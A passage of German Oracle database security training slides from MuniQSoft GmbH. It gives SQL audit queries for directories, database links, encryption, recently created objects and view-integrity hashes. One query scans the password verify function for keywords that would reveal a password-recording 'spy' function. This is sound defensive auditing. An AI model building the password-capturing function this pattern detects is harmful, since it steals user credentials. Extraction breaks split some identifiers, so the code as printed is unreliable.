Page 272: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Welche Directories sind angelegt

SELECT u.name owner, o.name directory_name, d.os_path os_pathFROM sys.user$ u, sys.obj$ o, sys.dir$ dWHERE u.user# = o.owner#AND o.obj# = d.obj#;

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 9

Hinweis: Und wer hat Rechte darauf?

select u.name owner, o.name directory_name, d.os_pa th os_path,listagg(u2.name||' ('||s.name||')',',') wit hin group (order by o.name) as privsfrom sys.user$ u, sys.user$ u2, sys.obj$ o, sys.dir $ d, sys.objauth$ a, sys.table_privilege_map swhere u.user# = o.owner#and o.obj# = d.obj#and a.grantee#=u2.user#and a.obj#=d.obj#and s.PRIVILEGE=a.PRIVILEGE#group by u.name , o.name , d.os_path ;

Page 273: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Welche DB Links existieren ?

SELECT u.name username, l.name db_link_name, l.userid, l.host, l.ctimeFROM sys.link$ l, sys.user$ uWHERE l.owner# = u.user#;

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 0

Page 274: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Welche Objekte sind verschlüsselt?

Verschlüsselte Tablespaces:

SELECT t.name, et.encryptionalg algorithmFROM v$tablespace t,v$encrypted_tablespaces etWHERE t.ts# = et.ts#;

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 1

Verschlüsselte Tabellen:SELECT u.name||'.'||o.name object_name, c.name col_ name,

case e.ENCALG when 1 then '3 Key Triple DES 168 bit s key'when 2 then 'AES 128 bits key'when 3 then 'AES 192 bits key'when 4 then 'AES 256 bits key'else 'Internal Err'

end encyrption,decode(bitand(c.property, 536870912), 0, 'YES',

'NO') saltFROM user$ u, obj$ o, col$ c, enc$ eWHERE e.obj#=o.obj# and o.owner#=u.user# and bitand (flags, 128)=0 and e.obj#=c.obj# and bitand(c.property, 67108864) = 67108864;

Page 275: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Wird die Passwort Prüffunktion verwendet ?

SELECT profile,limit FROM dba_profilesWHERE RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION'AND limit<>'DEFAULT';

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 2

Hinweis:Wenn Sie bedenken haben, das Ihre Prüf-Funktion ein Spion ist, und die Passwörter aufzeichnet:

SELECT line,text from dba_source WHERE name in (select limit from dba_profilesWHERE RESOURCE_NAME='PASSWORD_VERIFY_FUNCTION'AND limit<>'DEFAULT')AND (upper(text) like '%COMMIT%'OR upper(text) like '%DBMS^_%' escape '^'OR upper(text) like '%EXECUTE IMMEDIATE%'OR upper(text) like '%UTL%');

Page 276: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Prüffunktionen

Für wichtige Views sollte eine Hash Funktion verwen det werden um die Echtheit der View zu bestätigen:

SYS.ALL_OBJECTS (2324) 30DFF648A42A7AD6885BCF861EE41EAD

SYS.ALL_POLICIES ( 838) 23ECB8487F9A0A1DA957DA8184C6312D

SYS.ALL_SOURCE (5373) 1FACA6FE7DBD7238C0357BBD770BA615

SYS.ALL_SYNONYMS (1431) 29E274E0EAEDD7F1C72A3529CCA0FC52

SYS.ALL_TABLES (1436) EC7489767CA355D6C2D871846F87279C

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 3

SET SERVEROUTPUT ONDECLARE v_hash VARCHAR2(32000);BEGINFOR c IN (SELECT owner,view_name,text FROM dba_view s

WHERE owner='SYS' AND view_name IN

('DBA_TABLES','ALL_TABLES','DBA_OBJECTS','ALL_OBJEC TS','DBA_TRIGGERS','ALL_TRIGGERS','DBA_POLICIES','ALL_POLICIES','DBA_V IEWS','ALL_VIEWS','DBA_JOBS','ALL_JOBS','DBA_SCHEDULER_JOBS','DBA_ROL ES','DBA_SYNONYMS','ALL_SYNONYMS','DBA_DIRECTORIES','DBA_SOURCE','ALL_ SOURCE','DBA_USERS') ORDER BY 2) LOOP v_hash:=v_hash||dbms_crypto.Hash(utl_raw.cast_to_ra w(c.text),dbms_crypto.hash_md5);dbms_output.put_line(c.owner||'.'||rpad(c.view_name ,30,' ')||'('||lpad(length(c.text),4,' ')||') '||dbms_crypto.Hash(utl_raw.cast_to_raw(c.text),dbms_c rypto.hash_md5));END LOOP;dbms_output.put_line('Komplett-Hash:'||dbms_crypto.Hash(utl_raw.cast_to_raw(v_hash ),dbms_crypto.hash_md5));END;/

Page 277: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Welche Objekte wurden kürzlich neu erzeugt?

Prüfen Sie, welche Objekte in den letzten Tagen in der DB neu angelegt wurden

Wenn jedoch durch die Applikation regelmäßig neue Objekte erstellt werden, ist es schwierig die "Kuckuckseier" zu finden

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 4

SELECT * FROM (SELECT owner,count( CASE WHEN object_type= 'SYNONYM' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "SYN (1 Tag)",count( CASE WHEN object_type= 'SYNONYM' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "SYN (7 T.)",count( CASE WHEN object_type= 'PACKAGE BODY' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "PackB (1 Tag)",count( CASE WHEN object_type= 'PACKAGE BODY' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "PackB (7 T.)",count( CASE WHEN object_type= 'PROCEDURE' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "Proc (1 Tag)",count( CASE WHEN object_type= 'PROCEDURE' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "Proc (7 T.)",count( CASE WHEN object_type= 'TRIGGER' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "Trig (1 Tag)",count( CASE WHEN object_type= 'TRIGGER' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "Trig (7 T.)",count( CASE WHEN object_type= 'DATABASE LINK' AND c reated between sysdate-1 and sysdate THEN 'x' END ) as "DBLinks (1 Tag)",count( CASE WHEN object_type= 'DATABASE LINK' AND c reated between sysdate-7 and sysdate-1 THEN 'x' END ) as "DBLinks (7 T.)"FROM dba_objectsGROUP BY owner)WHERE "SYN (1 Tag)" + "SYN (7 T.)" + "PackB (1 Tag) " + "PackB (7 T.)" + "Proc (1 Tag)" + "Proc (7 T.)"+ "Trig (1 Tag)" + "Trig (7 T.)" + "DBLinks (1 Tag) " + "DBLinks (7 T.)" >0;

Page 278: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

16 Jahre MuniQSoft GmbH

Tätigkeitsbereiche:

Oracle Support Hotline: Mo-Fr 8.00 – 18.00 UhrErweiterung um Rufbereitschaft auch am Wochenende m öglich

Oracle IT-Consulting & Services, Schwerpunkt auch R AC

Oracle Schulungen (SQL, PL/SQL, DBA, APEX, B&R, MyS QL…51 verschiedene Schulungen, gerne auch Inhouse )

Software-Lösungen

Oracle Lizenzen

MuniQSoft GmbH IT-Consulting, Support, & Software-LösungenWitneystr. 182008 UnterhachingTel.: 089 / 6228 6789 0

MuniQSoft GmbH SchulungszentrumGrünwalder Weg 13a82008 UnterhachingTel.: 089 / 679090 40

MuniQSoft GmbH Kapitel 10 - Checkliste Security II 10 - 1 5